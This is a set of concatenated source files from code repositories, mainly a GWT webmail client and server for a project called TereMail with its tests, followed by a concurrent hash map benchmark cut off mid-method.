TFunctor> friend Delegate operator+(const TFunctor& f, const Delegate& d) { return (d + f); } template <class TFunctor> Delegate& operator-=(const TFunctor& f) { Remove(f); return *this; } template <class TFunctor> Delegate operator-(const TFunctor& f) const { return (Delegate(*this) -= f); } template <class TFunctor> friend bool operator==(const Delegate& d, const TFunctor& f) { return d.Equals(f); } template <class TFunctor> friend bool operator==(const TFunctor& f, const Delegate& d) { return (d == f); } template <class TFunctor> friend bool operator!=(const Delegate& d, const TFunctor& f) { return !(d == f); } template <class TFunctor> friend bool operator!=(const TFunctor& f, const Delegate& d) { return (d != f); } R operator()(ACF_DELEGATE_FUNCTION_PARAMS) const { if (this->_last == NULL) return _HandleInvalidCall<R>(); if (this->_last->Previous != NULL) InvokeDelegateList(this->_last->Previous ACF_DELEGATE_COMMA ACF_DELEGATE_FUNCTION_ARGS); return this->_last->Invoke(ACF_DELEGATE_FUNCTION_ARGS); } }; } // namespace Acf #undef ACF_DELEGATE_TEMPLATE_PARAMS #undef ACF_DELEGATE_TEMPLATE_ARGS #undef ACF_DELEGATE_FUNCTION_PARAMS #undef ACF_DELEGATE_FUNCTION_ARGS #undef ACF_DELEGATE_COMMA
zzip
ZZipLib/AcfDelegateTemplate.h
C++
asf20
9,715
package org.teremail.server; import org.teremail.client.TableSelectionListener; import com.google.gwt.junit.client.GWTTestCase; import com.google.gwt.user.client.ui.FlexTable; public class GwtTestTableSelectionListener extends GWTTestCase { public String getModuleName() { return "org.teremail.TestTereMailClient"; } public void testSetSelection() { FlexTable ft = new FlexTable(); TableSelectionListener tsl = TableSelectionListener.create(ft, new int[] { 0 }); ft.addTableListener(tsl); ft.setText(0, 0, "Row 0"); ft.setText(1, 0, "Row 1"); ft.setText(2, 0, "Row 2"); tsl.onCellClicked(ft, 1, 0); String style = ft.getRowFormatter().getStyleName(1); assertNotNull(style, style); assertTrue(-1 != style.indexOf("selected")); } }
zzuoqiang-teremail
teremail-web/src/test/java/org/teremail/server/GwtTestTableSelectionListener.java
Java
lgpl
856
package org.teremail.server; import org.teremail.client.FolderController; import org.teremail.client.MailServiceAsync; import org.teremail.client.MessageSummary; import com.google.gwt.junit.client.GWTTestCase; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.FlexTable; public class GwtTestFolderController extends GWTTestCase { public String getModuleName() { return "org.teremail.TestTereMailClient"; } public void testCreate() { FlexTable ft = new FlexTable(); final String mailboxName = "homer"; final String[] folders = { "INBOX", "Drafts", "Sent", "Trash" }; final boolean[] called = { false }; FolderController fc = new FolderController(ft, VerificationHelper.mockErrorHandler, new MailServiceAsync() { public void getFolders(String mailbox, AsyncCallback<String[]> callback) { assertEquals(mailboxName, mailbox); callback.onSuccess(folders); called[0] = true; } public void getMessage(String mailbox, String folder, int uid, AsyncCallback<String> asyncCallback) { fail(); } public void getMessageSummaries(String mailbox, String folder, AsyncCallback<MessageSummary[]> asyncCallback) { fail(); } }); fc.fetchFolders(mailboxName); assertEquals(5, ft.getRowCount()); assertTrue("Hasn't called service", called[0]); } }
zzuoqiang-teremail
teremail-web/src/test/java/org/teremail/server/GwtTestFolderController.java
Java
lgpl
1,744
package org.teremail.server; import org.teremail.client.MailServiceAsync; import org.teremail.client.MessageSummary; import org.teremail.client.SummaryController; import com.google.gwt.junit.client.GWTTestCase; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.FlexTable; public class GwtTestSummaryController extends GWTTestCase { public String getModuleName() { return "org.teremail.TestTereMailClient"; } public void testStuff() { FlexTable ft = new FlexTable(); final String mailboxName = "homer"; final String folderName = "INBOX"; final MessageSummary[] summaries = new MessageSummary[3]; summaries[0] = new MessageSummary(1, "bart@example.com", "Test 1", "2008-01-01"); summaries[1] = new MessageSummary(2, "lisa@example.com", "Test 2", "2008-02-02"); summaries[2] = new MessageSummary(3, "marge@example.com", "Test 3", "2008-03-03"); SummaryController sc = new SummaryController(ft, VerificationHelper.mockErrorHandler, new MailServiceAsync() { public void getFolders(String mailbox, AsyncCallback<String[]> callback) { } public void getMessage(String mailbox, String folder, int uid, AsyncCallback<String> asyncCallback) { } public void getMessageSummaries(String mailbox, String folder, AsyncCallback<MessageSummary[]> asyncCallback) { assertEquals(mailboxName, mailbox); assertEquals(folderName, folder); asyncCallback.onSuccess(summaries); } }); sc.fetchMessages(mailboxName, folderName); assertNotNull(sc.getFolder()); assertEquals(summaries.length + 1, ft.getRowCount()); } }
zzuoqiang-teremail
teremail-web/src/test/java/org/teremail/server/GwtTestSummaryController.java
Java
lgpl
2,014
package org.teremail.server; import junit.framework.Assert; import org.teremail.client.ErrorHandler; public class VerificationHelper { public final static ErrorHandler mockErrorHandler = new ErrorHandler() { public void showMessage(String message) { Assert.fail(message); } }; }
zzuoqiang-teremail
teremail-web/src/test/java/org/teremail/server/VerificationHelper.java
Java
lgpl
319
package org.teremail.client; import com.google.gwt.event.dom.client.ClickEvent; import com.google.gwt.event.dom.client.ClickHandler; import com.google.gwt.user.client.ui.HTMLTable; import com.google.gwt.user.client.ui.SourcesTableEvents; import com.google.gwt.user.client.ui.TableListener; public class TableSelectionListener implements TableListener, ClickHandler { public final static String SELECTED_STYLE = "selected"; private static final int UNSELECTED = -1; private final HTMLTable view; private final int[] exclude; private int selected = UNSELECTED; public TableSelectionListener(HTMLTable ft, int[] exclude) { this.view = ft; this.exclude = new int[exclude.length]; for (int i = 0; i < exclude.length; i++) { this.exclude[i] = exclude[i]; } } public void onCellClicked(SourcesTableEvents sender, int row, int cell) { if (!isExcluded(row)) { if (selected != -1) { view.getRowFormatter().removeStyleName(selected, SELECTED_STYLE); } selected = row; if (row < view.getRowCount()) { view.getRowFormatter().addStyleName(selected, SELECTED_STYLE); } } } @Override public void onClick(ClickEvent clickEvent) { } private boolean isExcluded(int row) { for (int i = 0; i < exclude.length; i++) { if (exclude[i] == row) { return true; } } return false; } public static TableSelectionListener create(HTMLTable ft, int[] exclude) { return new TableSelectionListener(ft, exclude); } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/TableSelectionListener.java
Java
lgpl
1,689
package org.teremail.client; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.FlexTable; public class FolderController { private final FlexTable view; private final ErrorHandler errorHandler; private final MailServiceAsync service; private String mailboxName; private String[] folderNames; private TableSelectionListener selection; public FolderController(FlexTable ft, ErrorHandler errorHandler, MailServiceAsync service) { this.view = ft; this.errorHandler = errorHandler; this.service = service; init(); } private void init() { view.setText(0, 0, "Folders"); view.getCellFormatter().addStyleName(0, 0, "header"); view.setWidth("6em"); view.addStyleName("bordered"); setFolders(new String[0]); selection = TableSelectionListener.create(view, new int[] {0}); view.addTableListener(selection); } private void setFolders(String[] folderNames) { this.folderNames = folderNames; if (folderNames.length > 0) { for (int i = 0; i < folderNames.length; i++) { view.setText(i+1, 0, folderNames[i]); view.getCellFormatter().addStyleName(i+1, 0, "mousePointer"); } } else { view.setText(1, 0, "Loading..."); } } public void fetchFolders(String mailboxName) { this.mailboxName = mailboxName; service.getFolders(mailboxName, new AsyncCallback<String[]>() { public void onFailure(Throwable caught) { errorHandler.showMessage(caught.getMessage()); } public void onSuccess(String[] folderNames) { setFolders(folderNames); } }); } public String getMailbox() { return mailboxName; } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/FolderController.java
Java
lgpl
1,940
package org.teremail.client; import com.google.gwt.user.client.rpc.SerializableException; public class FolderNotExistsException extends SerializableException { private static final long serialVersionUID = 1L; public FolderNotExistsException() { super(); } public FolderNotExistsException(String message) { super(message); } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/FolderNotExistsException.java
Java
lgpl
372
package org.teremail.client; public interface ErrorHandler { /** * Show a message * * @param message */ void showMessage(String message); }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/ErrorHandler.java
Java
lgpl
171
package org.teremail.client; import com.google.gwt.core.client.EntryPoint; import com.google.gwt.core.client.GWT; import com.google.gwt.user.client.Window; import com.google.gwt.user.client.rpc.ServiceDefTarget; import com.google.gwt.user.client.ui.Button; import com.google.gwt.user.client.ui.ClickListener; import com.google.gwt.user.client.ui.DialogBox; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.RootPanel; import com.google.gwt.user.client.ui.SourcesTableEvents; import com.google.gwt.user.client.ui.TableListener; import com.google.gwt.user.client.ui.TextArea; import com.google.gwt.user.client.ui.Widget; import com.google.gwt.user.client.ui.PopupPanel.PositionCallback; /** * Entry point classes define <code>onModuleLoad()</code>. */ public class TereMailClient implements EntryPoint { /** * This is the entry point method. */ public void onModuleLoad() { final MailServiceAsync mailService = (MailServiceAsync) GWT.create(MailService.class); ServiceDefTarget endpoint = (ServiceDefTarget) mailService; endpoint.setServiceEntryPoint(GWT.getModuleBaseURL() + "/MailService"); final String username = "mike"; final ErrorHandler eh = new DialogErrorHandler(); final FlexTable folders = new FlexTable(); final FolderController folderCtl = new FolderController(folders, eh, mailService); final FlexTable messages = new FlexTable(); final SummaryController summaryCtl = new SummaryController(messages, eh, mailService); final TextArea messageText = new TextArea(); final MessageTextController messageTextCtl = new MessageTextController(messageText, eh, mailService); // Event handers. folders.addTableListener(new TableListener() { public void onCellClicked(SourcesTableEvents sender, int row, int cell) { if (row != 0) { String folder = folders.getText(row, cell); summaryCtl.fetchMessages(username, folder); } } }); messages.addTableListener(new TableListener() { public void onCellClicked(SourcesTableEvents sender, int row, int cell) { String folder = summaryCtl.getFolder(); int uid = summaryCtl.getUid(row); messageTextCtl.fetchMessage(username, folder, uid); } }); RootPanel.get("slot1").add(folders); RootPanel.get("slot2").add(messages); RootPanel.get("slot3").add(messageText); folderCtl.fetchFolders(username); } private static class DialogErrorHandler implements ErrorHandler { public void showMessage(String message) { final MyDialog d = new MyDialog(message); d.setPopupPositionAndShow(new PositionCallback() { public void setPosition(int offsetWidth, int offsetHeight) { int left = (Window.getClientWidth() - offsetWidth) / 3; int top = (Window.getClientHeight() - offsetHeight) / 3; d.setPopupPosition(left, top); } }); } } private static class MyDialog extends DialogBox { public MyDialog(String message) { // Set the dialog box's caption. setText(message); Button ok = new Button("OK"); ok.addClickListener(new ClickListener() { public void onClick(Widget sender) { MyDialog.this.hide(); } }); setWidget(ok); addStyleName("bordered"); } } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/TereMailClient.java
Java
lgpl
3,856
package org.teremail.client; import com.google.gwt.user.client.rpc.AsyncCallback; public interface MailServiceAsync { // String[] getFolders(); void getFolders(String mailbox, AsyncCallback<String[]> callback); void getMessageSummaries(String mailbox, String folder, AsyncCallback<MessageSummary[]> asyncCallback); void getMessage(String mailbox, String folder, int uid, AsyncCallback<String> asyncCallback); }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/MailServiceAsync.java
Java
lgpl
432
package org.teremail.client; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.TextArea; public class MessageTextController { private final TextArea view; private final MailServiceAsync service; private final ErrorHandler eh; private String messageText; private String folder; private int uid; public MessageTextController(TextArea view, ErrorHandler eh, MailServiceAsync service) { this.view = view; this.service = service; this.eh = eh; init(); } private void init() { view.setWidth("100%"); view.setHeight("25em"); view.addStyleName("bordered"); setMessageText(""); } private void setMessageText(String message) { this.messageText = message; view.setText(message); } public void fetchMessage(String mailbox, String folderName, int uid) { this.folder = folderName; this.uid = uid; service.getMessage(mailbox, folder, uid, new AsyncCallback<String>() { public void onFailure(Throwable caught) { eh.showMessage(caught.getMessage()); } public void onSuccess(String result) { setMessageText(result); } }); } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/MessageTextController.java
Java
lgpl
1,366
package org.teremail.client; import java.io.Serializable; public class MessageSummary implements Serializable { private static final long serialVersionUID = 1649645381320609521L; private int uid; private String address; private String subject; private String date; public MessageSummary() { } public MessageSummary(int uid, String address, String subject, String date) { this.uid = uid; this.address = address; this.subject = subject; this.date = date; } public int getUid() { return uid; } public String getAddress() { return address; } public String getSubject() { return subject; } public String getDate() { return date; } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/MessageSummary.java
Java
lgpl
788
package org.teremail.client; import com.google.gwt.user.client.rpc.RemoteService; public interface MailService extends RemoteService { String[] getFolders(String mailbox) throws Exception; MessageSummary[] getMessageSummaries(String mailbox, String folder) throws Exception; String getMessage(String mailbox, String folder, int uid) throws Exception; }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/MailService.java
Java
lgpl
378
package org.teremail.client; import com.google.gwt.user.client.rpc.AsyncCallback; import com.google.gwt.user.client.ui.FlexTable; import com.google.gwt.user.client.ui.HTMLTable.CellFormatter; /** * Links the table containing the list of messages with the back end services. * Resposible for handling updates to the model. * * @author Michael Barker * */ public class SummaryController { private final FlexTable view; private final MailServiceAsync service; private MessageSummary[] summaries; private String folder = null; private ErrorHandler eh; public SummaryController(FlexTable view, ErrorHandler eh, MailServiceAsync service) { this.view = view; this.service = service; this.eh = eh; init(); } private void init() { view.setText(0, 0, "From"); view.setText(0, 1, "Subject"); view.setText(0, 2, "Date"); view.getCellFormatter().addStyleName(0, 0, "header"); view.getCellFormatter().addStyleName(0, 1, "header"); view.getCellFormatter().addStyleName(0, 2, "header"); view.setWidth("100%"); view.addStyleName("bordered"); setSummaries(new MessageSummary[0]); } public void fetchMessages(String mailbox, String folderName) { this.folder = folderName; service.getMessageSummaries(mailbox, folderName, new AsyncCallback<MessageSummary[]>() { public void onFailure(Throwable caught) { eh.showMessage(caught.getMessage()); } public void onSuccess(MessageSummary[] result) { setSummaries(result); } }); } private void setSummaries(MessageSummary[] summaries) { this.summaries = summaries; if (summaries == null) { throw new IllegalArgumentException("Message Summaries can not be null"); } if (summaries.length != 0) { for (int i = 0; i < summaries.length; i++) { MessageSummary summary = summaries[i]; view.setText(i+1, 0, summary.getAddress()); view.setText(i+1, 1, summary.getSubject()); view.setText(i+1, 2, summary.getDate()); setStyle(view.getCellFormatter(), i+1, 0); setStyle(view.getCellFormatter(), i+1, 1); setStyle(view.getCellFormatter(), i+1, 2); } } else { view.setText(1, 1, "No Messages"); } } private void setStyle(CellFormatter cf, int row, int col) { cf.addStyleName(row, col, "nowrap"); cf.addStyleName(row, col, "mousePointer"); } public String getFolder() { return folder; } public int getUid(int row) { return summaries[row-1].getUid(); } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/client/SummaryController.java
Java
lgpl
2,920
<html> <head> <!-- --> <!-- Any title is fine --> <!-- --> <title>Wrapper HTML for TereMailClient</title> <!-- --> <!-- Use normal html, such as style --> <!-- --> <style> body,td,a,div,.p{font-family:arial,sans-serif} div,td{color:#000000} a:link,.w,.w a:link{color:#0000cc} a:visited{color:#551a8b} a:active{color:#ff0000} .header{background-color: #c0c0c0} .bordered { border-width: 1px; border-color: black; border-collapse: collapse; border-style: solid; } .gwt-DialogBox { background-color: white; padding: 5px } .gwt-DialogBox .Caption { background-color: #c0c0c0; margin-bottom: 5px; padding: 2px } .nowrap { white-space: nowrap; } .mousePointer { cursor: pointer; } .selected { background-color: #00cccc } </style> <!-- --> <!-- This script loads your compiled module. --> <!-- If you add any GWT meta tags, they must --> <!-- be added before this line. --> <!-- --> <script language='javascript' src='org.teremail.TereMailClient.nocache.js'></script> </head> <!-- --> <!-- The body can have arbitrary html, or --> <!-- you can leave the body empty if you want --> <!-- to create a completely dynamic ui --> <!-- --> <body> <!-- OPTIONAL: include this if you want history support --> <iframe src="javascript:''" id="__gwt_historyFrame" style="width:0;height:0;border:0"></iframe> <h1>TereMail Client</h1> <table align=left width="100%"> <tr> <td id="slot1" valign="top"></td> <td id="slot2" valign="top" width="100%"></td> </tr> <tr> <td id="slot3" colspan="2"></td> </tr> </table> </body> </html>
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/public/TereMailClient.html
HTML
lgpl
2,308
package org.teremail.server; import java.io.IOException; import java.nio.charset.Charset; import java.util.List; import javax.servlet.ServletException; import org.teremail.ServerSingleton; import org.teremail.client.MailService; import org.teremail.client.MessageSummary; import org.teremail.common.Log; import org.teremail.delivery.Exchange; import org.teremail.mailbox.Folder; import org.teremail.mailbox.FolderEntry; import org.teremail.mailbox.FolderNotExistsException; import org.teremail.mailbox.Mailbox; import org.teremail.mailbox.MailboxExistsException; import org.teremail.mailbox.MailboxNotExistsException; import org.teremail.mailbox.Path; import org.teremail.message.ContentEntity; import org.teremail.message.EntityVisitor; import org.teremail.message.EntityVisitorAdaptor; import org.teremail.message.MessageHeaders; import org.teremail.message.SimpleEntity; import org.teremail.message.SimpleMessage; import org.teremail.store.Store; import org.teremail.util.IO; import com.google.gwt.user.server.rpc.RemoteServiceServlet; public class MailServiceImpl extends RemoteServiceServlet implements MailService { private static final long serialVersionUID = 1L; private static final Log log = Log.getLog(MailServiceImpl.class); private Exchange exchange = null; /** * @see javax.servlet.GenericServlet#init() */ @Override public void init() throws ServletException { setExchange(ServerSingleton.getInstance().getExchange()); } void setExchange(Exchange exchange) { this.exchange = exchange; } public String[] getFolders(String mailbox) throws Exception { Mailbox m; try { m = exchange.getMailboxService().getMailbox(mailbox); } catch (MailboxNotExistsException e) { try { m = exchange.getMailboxService().create(mailbox); } catch (MailboxExistsException e1) { throw new Exception(e1.getMessage()); } } List<Folder> folders = m.getFolders(Path.ROOT); String[] folderNames = new String[folders.size()]; int i = 0; for (Folder folder : folders) { folderNames[i++] = folder.getName(); } return folderNames; } public MessageSummary[] getMessageSummaries(String mailbox, String folder) throws Exception { try { Mailbox mbox = exchange.getMailboxService().getMailbox(mailbox); Folder f = mbox.getFolder(Path.path(folder)); List<FolderEntry> entries = f.getFolderEntries(0, 10, Folder.SortKey.UID); MessageSummary[] summaries = new MessageSummary[entries.size()]; int i = 0; for (FolderEntry entry : entries) { int uid = entry.getUid(); MessageHeaders headers = entry.getMessageHeaders(); String from = headers.getFrom(); String subject = headers.getSubject(); String date = headers.getDate(); summaries[i++] = new MessageSummary(uid, from, subject, date); } return summaries; } catch (MailboxNotExistsException e) { log.error(e, "Failed to load message summaries"); throw new Exception(e.getMessage()); } catch (FolderNotExistsException e) { log.error(e, "Failed to load message summaries"); throw new Exception(e.getMessage()); } catch (Exception e) { log.error(e, "Failed to load message summaries"); throw new Exception(e.getMessage()); } } public String getMessage(String mailbox, String folder, int uid) throws Exception { try { Mailbox mbox = exchange.getMailboxService().getMailbox(mailbox); Folder f = mbox.getFolder(Path.path(folder)); final StringBuilder sb = new StringBuilder(); final Store store = exchange.getStore(); EntityVisitor ev = new EntityVisitorAdaptor() { private void load(ContentEntity e) { String id = e.getContent().getId(); try { String body = IO.toString(store.getInputStream(id), Charset.forName("UTF-8")); sb.append(body); } catch (IOException ioe) { throw new RuntimeException(ioe); } } @Override public void visitSimpleEntity(SimpleEntity simpleEntity) { load(simpleEntity); } @Override public void visitSimpleMessage(SimpleMessage simpleMessage) { load(simpleMessage); } }; f.getMessage(uid).getMessage().accept(ev); return sb.toString(); } catch (MailboxNotExistsException e) { log.error(e, "Failed to load message summaries"); throw new Exception(e.getMessage()); } catch (FolderNotExistsException e) { log.error(e, "Failed to load message summaries"); throw new Exception(e.getMessage()); } catch (Exception e) { log.error(e, "Failed to load message summaries"); throw new Exception(e.getMessage()); } } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/server/MailServiceImpl.java
Java
lgpl
5,550
package org.teremail.server; import org.teremail.client.MailService; import org.teremail.client.MessageSummary; import com.google.gwt.user.server.rpc.RemoteServiceServlet; public class MockMailServiceImpl extends RemoteServiceServlet implements MailService { private static final long serialVersionUID = 1L; public String[] getFolders(String mailbox) { return new String[] { "INBOX", "Drafts", "Sent", "Trash" }; } public MessageSummary[] getMessageSummaries(String mailbox, String folder) throws Exception { return new MessageSummary[] { new MessageSummary(1, "bart@example.com", "Hello Lisa", "2008/02/21 16:30:00"), new MessageSummary(2, "lisa@example.com", "Hello Bart", "2008/02/23 16:30:00"), new MessageSummary(3, "foo@example.com", "WTF! This code is CRAP!", "2008/02/21 16:30:00"), new MessageSummary(4, "homer@example.com", "D'oh", "2008/01/21 16:34:00"), }; } public String getMessage(String mailbox, String folder, int uid) { switch (uid) { case 1: return "Hi Lisa,\r\n" + "\r\n" + "How are you doing today?\r\n"; case 2: return "> Hi Lisa,\r\n" + ">\r\n" + "> How are tou doing today?\r\n" + "\r\n" + "Not too bad.\r\n"; case 3: return "Check out the code from this site"; case 4: return "D'oh"; default: return "Unknown uid: " + uid; } } }
zzuoqiang-teremail
teremail-web/src/main/java/org/teremail/server/MockMailServiceImpl.java
Java
lgpl
1,620
package org.teresoft.collections.concurrent; public class ConcurrentHashTrieTest2 extends AbstractHashTrieTest { protected ConcurrentHashTrie2<String, String> createMap() { return new ConcurrentHashTrie2<String,String>(1024); } }
zzuoqiang-teremail
commons/src/test/java/org/teresoft/collections/concurrent/ConcurrentHashTrieTest2.java
Java
lgpl
252
/* * Written by Cliff Click and released to the public domain, as explained at * http://creativecommons.org/licenses/publicdomain * Big Chunks of code shamelessly copied from Doug Lea's test harness which is also public domain. */ import java.util.Random; import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentMap; import java.util.concurrent.atomic.AtomicLong; import org.teresoft.collections.concurrent.ConcurrentHashTrie2; public class perf_hash_test extends Thread { static int _read_ratio, _gr, _pr; static int _thread_min, _thread_max, _thread_incr; static int _table_size; static int _map_impl; static ConcurrentMap<String,String> make_map( int impl ) { switch( impl ) { case 1: return null; //new Hashtable<String,String>(0); case 2: return null; // new CliffWrapHerlihy(); // was a non-blocking HashSet implementation from Maurice Herlihy case 3: return new ConcurrentHashMap<String,String>(16,0.75f, 16); // force to 16 striping case 4: return new ConcurrentHashMap<String,String>(16,0.75f, 256); // force to 256 striping case 5: return new ConcurrentHashMap<String,String>(16,0.75f,4096); // force to 4096 striping case 6: return new ConcurrentHashTrie2<String,String>(1024); default: throw new Error("Bad imple"); } } static String names[] = { "ALL", "HashTable", "HerlihyHashSet", "CHM_16", "CHM_256", "CHM_4096", "NBHashMap", }; static String KEYS[]; static volatile boolean _start; static volatile boolean _stop; static final int NUM_CPUS = Runtime.getRuntime().availableProcessors(); static int check( String arg, String msg, int lower, int upper ) throws Exception { return check( Integer.parseInt(arg), msg, lower, upper ); } static int check( int x, String msg, int lower, int upper ) throws Exception { if( x < lower || x > upper ) throw new Error(msg+" must be from "+lower+" to "+upper); return x; } public static void main( String args[] ) throws Exception { // Parse args try { _read_ratio = check( args[0], "read%", 0, 100 ); _thread_min = check( args[1], "thread_min", 1, 100000 ); _thread_max = check( args[2], "thread_max", 1, 100000 ); _thread_incr = check( args[3], "thread_incr", 1, 100000 ); _table_size = check( args[4], "table_size", 1, 100000000 ); _map_impl = check( args[5], "implementation", -1, names.length ); _gr = (_read_ratio<<20)/100; _pr = (((1<<20) - _gr)>>1) + _gr; int trips = (_thread_max - _thread_min)/_thread_incr; _thread_max = trips*_thread_incr + _thread_min; } catch( Exception e ) { System.out.println("Usage: perf_hash_test read%[0=churn test] thread-min thread-max thread-increment hash_table_size impl[All=0,Hashtable=1,HerlihyHashSet=2,CHM_16=3,CHM_256=4,CHM_4096=5,NonBlockingHashMap=6]"); throw e; } System.out.print( _read_ratio+"% gets, "+ ((100-_read_ratio)>>1)+"% inserts, "+ ((100-_read_ratio)>>1)+"% removes, " + "table_size="+_table_size); if( _read_ratio==0 ) System.out.print(" -- churn"); String name = _map_impl == -1 ? "Best" : names[_map_impl]; System.out.println(" "+name); System.out.println("Threads from "+_thread_min+" to "+_thread_max+" by "+_thread_incr); // Do some warmup int keymax = 1; while( keymax < _table_size ) keymax<<=1; if( _read_ratio == 0 ) keymax = 1024*1024; // The churn test uses a large key set KEYS = new String[keymax]; int [] histo = new int[64]; for( int i=0; i<KEYS.length; i++ ) { KEYS[i] = String.valueOf(i) + "abc" + String.valueOf(i*17+123); histo[KEYS[i].hashCode() >>>(32-6)]++; } // verify good key spread to help ConcurrentHashMap //for( int i=0; i<histo.length; i++ ) // System.out.print(" "+histo[i]); System.out.println("Warmup -variance: "); run_till_stable(Math.min(_thread_min,2),/*extra warmup round for churn*/_read_ratio==0 ? 2 : 1); // Now do the real thing System.out.print("==== Counter Threads Trial: "); int num_trials = 7; // Number of Trials for( int i=0; i<num_trials; i++ ) System.out.printf(" %3d ",i); System.out.println(" Avg Stddev"); for( int i=_thread_min; i<=_thread_max; i += _thread_incr ) run_till_stable( i, num_trials ); } static void run_till_stable( int num_threads, int num_trials ) throws Exception { if( _map_impl > 0 ) { run_till_stable(num_threads,num_trials,_map_impl); } else if( _map_impl == 0 ) { for( int i=1; i<names.length; i++ ) run_till_stable(num_threads,num_trials,i); } else { run_till_stable(num_threads,num_trials,4); run_till_stable(num_threads,num_trials,6); } } static void run_till_stable( int num_threads, int num_trials, int impl ) throws Exception { ConcurrentMap<String,String> HM = make_map(impl); if( HM == null ) return; String name = names[impl]; System.out.printf("=== %10.10s %3d",name,num_threads); // Quicky sanity check for( int i=0; i<100; i++ ) { HM.put(KEYS[i],KEYS[i]); for( int j=0; j<i; j++ ) { if( HM.get(KEYS[j]) != KEYS[j] ) { throw new Error("Broken table, put "+i+" but cannot find #"+j); } } } long[] trials = new long[num_trials]; // Number of trials long total = 0; for( int j=0; j<trials.length; j++ ) { long[] ops = new long[num_threads]; long[] nanos = new long[num_threads]; long millis = run_once(num_threads,HM,ops,nanos); long sum_ops = 0; long sum_nanos = 0; for( int i=0; i<num_threads; i++ ) { sum_ops += ops[i]; sum_nanos += nanos[i]; } long ops_per_sec = (sum_ops*1000L)/millis; trials[j] = ops_per_sec; total += ops_per_sec; if( j == 0 ) System.out.printf(" cnts/sec="); System.out.printf(" %10d",ops_per_sec); // Note: sum of nanos does not mean much if there are more threads than cpus //System.out.printf("+-%f%%",(ops_per_sec - ops_per_sec_n)*100.0/ops_per_sec); // if( HM instanceof NonBlockingHashMap ) { // long reprobes = ((NonBlockingHashMap)HM).reprobes(); // if( reprobes > 0 ) // System.out.printf("(%5.2f)",(double)reprobes/(double)sum_ops); // } } if( trials.length > 2 ) { // Toss out low & high int lo=0; int hi=0; for( int j=1; j<trials.length; j++ ) { if( trials[lo] < trials[j] ) lo=j; if( trials[hi] > trials[j] ) hi=j; } total -= (trials[lo]+trials[hi]); trials[lo] = trials[trials.length-1]; trials[hi] = trials[trials.length-2]; // Print avg,stddev long avg = total/(trials.length-2); long stddev = compute_stddev(trials,trials.length-2); long p = stddev*100/avg; // std-dev as a percent if( trials.length-2 > 2 ) { // Toss out low & high lo=0; hi=0; for( int j=1; j<trials.length-2; j++ ) { if( trials[lo] < trials[j] ) lo=j; if( trials[hi] > trials[j] ) hi=j; } total -= (trials[lo]+trials[hi]); trials[lo] = trials[trials.length-2-1]; trials[hi] = trials[trials.length-2-2]; // Print avg,stddev avg = total/(trials.length-2-2); stddev = compute_stddev(trials,trials.length-2-2); p = stddev*100/avg; // std-dev as a percent } System.out.printf(" %10d",avg); System.out.printf(" (+/-%2d%%) %d",p,HM.size()); } System.out.println(); } static long compute_stddev(long[] trials, int len) { double sum = 0; double squ = 0.0; for( int i=0; i<len; i++ ) { double d = (double)trials[i]; sum += d; squ += d*d; } double x = squ - sum*sum/len; double stddev = Math.sqrt(x/(len-1)); return (long)stddev; } // Worker thread fields final int _tnum; final ConcurrentMap<String,String> _hash; // Shared hashtable final long[] _ops; final long[] _nanos; perf_hash_test( int tnum, ConcurrentMap<String,String> HM, long[] ops, long[] nanos ) { _tnum = tnum; _hash = HM; _ops = ops; _nanos = nanos; } static long run_once( int num_threads, ConcurrentMap<String,String> HM, long[] ops, long[] nanos ) throws Exception { Random R = new Random(); _start = false; _stop = false; HM.put("Cliff","Cliff"); HM.remove("Cliff"); int sz = HM.size(); while( sz+1024 < _table_size ) { int idx = R.nextInt(); for( int i=0; i<1024; i++ ) { String key = KEYS[idx&(KEYS.length-1)]; HM.put(key,key); idx++; } sz = HM.size(); } while( sz < ((_table_size>>1)+(_table_size>>3)) ) { int trip = 0; int idx = R.nextInt(); while( true ) { String key = KEYS[idx&(KEYS.length-1)]; if( sz < _table_size ) { if( HM.put(key,key) == null ) { sz++; break; } } else { if( HM.remove(key ) != null ) { sz--; break; } } idx++; if( (trip & 15)==15 ) idx = R.nextInt(); if( trip++ > 1024*1024 ) { if( trip > 1024*1024+100 ) throw new Exception("barf trip "+sz+" "+HM.size()+" numkeys="+KEYS.length); System.out.println(key); } } } if( sz != HM.size() ) { throw new Error("size does not match table contents sz="+sz+" size()="+HM.size()); } // Launch threads perf_hash_test thrs[] = new perf_hash_test[num_threads]; for( int i=0; i<num_threads; i++ ) thrs[i] = new perf_hash_test(i, HM, ops, nanos); for( int i=0; i<num_threads; i++ ) thrs[i].start(); // Run threads long start = System.currentTimeMillis(); _start = true; try { Thread.sleep(2000); } catch( InterruptedException e ){} _stop = true; long stop = System.currentTimeMillis(); long millis = stop-start; for( int i=0; i<num_threads; i++ ) thrs[i].join(); return millis; } // What a worker thread does public void run() { while( !_start ) // Spin till Time To Go try { Thread.sleep(1); } catch( Exception e ){} long nano1 = System.nanoTime(); int total = 0; if( _read_ratio == 0 ) { total = run_churn(); } else { if( _hash instanceof ConcurrentHashMap<?, ?> ) total = run_normal( (ConcurrentHashMap<String, String>) _hash); else total = run_normal(_hash); } _ops[_tnum] = total; long nano2 = System.nanoTime(); _nanos[_tnum] = (nano2-nano1); } // Force a large turnover of live keys, while keeping the total live-set // low. 10 keys kept alive per thread, out of a set of a million or so. // constantly churned, so we constantly need to 'cleanse' the table to flush // old entries. public int run_churn() { int reprobe = System.identityHashCode(Thread.currentThread()); int idx = reprobe; int get_ops = 0; int put_ops = 0; int del_ops = 0; while( !_stop ) { // Insert a key 10 